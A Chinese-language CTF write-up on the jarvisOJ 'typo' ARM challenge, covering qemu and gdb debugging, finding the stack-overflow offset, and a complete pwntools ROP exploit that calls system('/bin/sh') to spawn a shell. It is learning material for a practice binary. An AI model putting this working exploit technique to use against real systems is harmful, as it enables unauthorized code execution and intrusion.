jarvisoj_typo(arm_pwn)
第一次碰到arm的题目
对于arm我也是一无所知,通过hollk师傅的博客来学习的这种类型的题目
首先关于环境,没有arm环境的师傅可以看一下hollk师傅的
(20条消息) ubuntu20.04 PWN(含x86、ARM、MIPS)环境搭建_hollk’s blog-CSDN博客
我是一步步跟着hollk师傅做的,请见谅,我觉得hollk师傅写的师傅详细,推荐去看他的
(20条消息) 通过一道ARM PWN题引发的思考:jarvisOJ_typo_hollk’s blog-CSDN博客
首先通过先运行一下程序观察状态,可以看到程序有三次输入,我这里就只放入第一次输入了
然后我们将程序链接到1212端口上去
然后通过debug进行动态调试
gdb-multiarch #启动gdb-multiarch pwndbg> set arch arm #设置程序架构为arm架构 pwndbg> target remote 127.0.0.1:1212 #链接本地qemu的调试端口
通过之前的推断,判断第二次输入有栈溢出,我们先cyclic创建200字符串输入到第二次输入里面(回到第一个页面进行输入)
回到gdb页面可以看到程序在标记处发生了异常
判断溢出长度
在进入ida进行审计,先shift+f12找/bin/sh的地址
然后通过判断确定system的地址,我这里就放入hollk师傅的判断理由,
就此我们就可以编写exp
from pwn import * import time context.arch="arm" context.log_level="debug" overlength = 112 binsh = 0x0006c384 pop_r0_r4_pc = 0x00020904 system = 0x000110B4 p = process(["qemu-arm","./typo"]) payload = b"a"*overlength + p32(pop_r0_r4_pc) + p32(binsh)*2 + p32(system) p.recvuntil("quit\n") p.send("\n") p.recvuntil("\n") p.sendline(payload) p.interactive()
成功,
又是向hollk师傅学习的一天
加油!